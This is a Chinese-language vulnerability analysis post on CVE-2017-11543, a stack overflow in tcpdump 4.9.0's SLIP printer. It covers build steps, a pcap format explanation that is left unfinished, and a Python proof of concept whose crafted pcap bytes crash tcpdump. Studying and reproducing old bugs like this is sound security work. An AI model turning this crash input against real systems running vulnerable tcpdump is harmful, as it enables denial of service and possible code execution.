内容简介:最近觉得打比赛打多了,想分析一些实际的漏洞,于是挑了一个易上手的和这是一个在这个漏洞是通过AFL 发现的。
最近觉得打比赛打多了,想分析一些实际的漏洞,于是挑了一个易上手的和 tcpdump 有关的 CVE-2017-11543 来分析,参考资料都放在最后了。
Overview
| 漏洞软件 | tcpdump | 版本:4.9.0 |
|---|
- CVE-2017-11543 (arbitrary code execution) An out-of-bounds write vulnerability was discovered in tcpdump's handling of LINKTYPE_SLIP in the sliplink_print function in print-sl.c. An attacker could craft a malicious pcap file or send specially crafted packets to the network that would cause tcpdump to crash or possibly execute arbitrary code when attempting to print a summary of the packet data.
这是一个在 4.9.0 版本的 tcpdump 中出现的栈溢出漏洞,漏洞出现在 sliplink_print() 函数( print-sl.c )中,效果是可以造成 crash 或者 arbitrary code execution 。
这个漏洞是通过AFL 发现的。
Background
tcpdump 是一个运行在CLI 下的嗅探工具,它允许用户拦截和显示发送或收到过网络连接到该计算机的 TCP/IP 和其他数据包。用户必须拥有 超级用户权限 方可使用 tcpdump 。和 wireshark 的语法相同,在服务器端多使用 tcpdump,在客户端多使用 wireshark。
其基本用法有:
~ tldr tcpdump
tcpdump
Dump traffic on a network.
- List available network interfaces:
tcpdump -D
- Capture the traffic of a specific interface:
tcpdump -i eth0
- Capture all TCP traffic showing contents (ASCII) in console:
tcpdump -A tcp
- Capture the traffic from or to a host:
tcpdump host www.example.com
- Capture the traffic from a specific interface, source, destination and destination port:
tcpdump -i eth0 src 192.168.1.1 and dst 192.168.1.2 and dst port 80
- Capture the traffic of a network:
tcpdump net 192.168.1.0/24
- Capture all traffic except traffic over port 22 and save to a dump file:
tcpdump -w dumpfile.pcap not port 22
- Read from a given dump file:
tcpdump -r dumpfile.pcap
漏洞复现
| 环境 | docker | ubuntu:16.04 |
|---|
主要参考了 CTF-all-in-one ,细节部分做了一些优化。
install tcpdump==4.9.0
首先安装 dev 版本的 libpcap:
# apt-get update # apt-get install libpcap-dev # dpkg -l libpcap-dev root@7fe409e06b06:~# dpkg -l libpcap-dev Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-==============-============-============-================================= ii libpcap-dev 1.7.4-2 all development library for libpcap (
编译 tcpdump(v 4.9.0)
# apt-get install wget gcc make vim python # wget https://github.com/the-tcpdump-group/tcpdump/archive/tcpdump-4.9.0.tar.gz # tar xzf ./tcpdump-4.9.0.tar.gz # ./configure
执行 configure 会生成 Makefile ,然后 make 即可在源码目录下生成二进制文件。
# make root@7fe409e06b06:~/tcpdump-tcpdump-4.9.0# ./tcpdump --version tcpdump version 4.9.0 libpcap version 1.7.4
Segment Fault
使用如下的 poc 即可出发漏洞产生 Segment Fault
root@7fe409e06b06:~# cat poc.py
import os
def sigsegv():
buf = "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += "\x00\x00\x04\x00\x08\x00\x00\x00\xf6\xb5\xa5X\xf8\xbd\x07\x00'"
buf += "\x00\x00\x006\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7"
buf += "\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xca\x00"
buf += "\x00RT\x00\x125\x02\x08\x00'\xbd\xc8.\x08\x00"
with open("slip-bad-direction.pcap", "wb") as f:
f.write(buf)
cmd = './tcpdump-tcpdump-4.9.0/tcpdump -e -r ./slip-bad-direction.pcap'
os.system(cmd)
if __name__ == "__main__":
sigsegv()
root@7fe409e06b06:~# python poc.py
reading from file ./slip-bad-direction.pcap, link-type SLIP (SLIP)
Segmentation fault (core dumped)
root@7fe409e06b06:~# file slip-bad-direction.pcap
slip-bad-direction.pcap: tcpdump capture file (little-endian) - version 2.4 (SLIP, capture length 262144)
如此便触发了栈溢出漏洞引发了 crash。
或者可以按照 CTF-all-in-one 的做法,修改 Makefile,gcc 的参数添加 -fsanitize=address ,以开启内存检测功能。
Address Sanitizer 是自 gcc 4.8 以后添加的一个检测内存访问错误的工具,由 google 开发。
漏洞分析
pcap 文件格式
首先我们需要对 pcap 的文件格式有一个了解。
主要参考了 https://www.zybuluo.com/natsumi/note/80231
总体结构是 global header 后跟着几条捕获数据包的记录:
global header
其中 global header 的结构具体如下
typedef struct pcap_hdr_s {
guint32 magic_number; /* magic number */
guint16 version_major; /* major version number */
guint16 version_minor; /* minor version number */
gint32 thiszone; /* GMT to local correction */
guint32 sigfigs; /* accuracy of timestamps */
guint32 snaplen; /* max length of captured packets, in octets */
guint32 network; /* data link type */
} pcap_hdr_t;
magic_number:
4 bytes,用来识别文件格式本身和字节顺序。分三种情况:
- 0xa1b2c3d4 : 按照程序字节序的方式写入。
- 0xd4c3b2a1 : 表示后边所有的字段都要进行字节序反转。
- 0xa1b23c4d : 文件为纳秒精度。
version_major, version_minor:
各 2 bytes,文件格式的版本号,目前最新的版本为 2.4。
即常见的 pcap 包中,version_major 为 0x0002,version_minor 为 0x0004。
thiszone:
GMT (UTC) 和后面 packet header 的时间戳所用的时区的时间差(单位:秒)。 实际上,时间戳用的一般都是 GMT 时间, 所以 thiszone 一般都设为 0 。
sigfigs:
时间戳的精度, 实际上, 一般也设置为0
snaplen:
每个数据包的最大存储长度(该值设置所抓获的数据包的最大长度,如果所有数据包都要抓获,将该值设置为 65535; 例如想获取数据包的前 64 字节,可将该值设置为 64)
困了,明天再写
Reference and thanks to
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/7.1.1_tcpdump_2017-11543.md
https://nvd.nist.gov/vuln/detail/CVE-2017-11543
https://github.com/google/sanitizers/wiki/AddressSanitizer
https://wizardforcel.gitbooks.io/100-gcc-tips/content/address-sanitizer.html
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。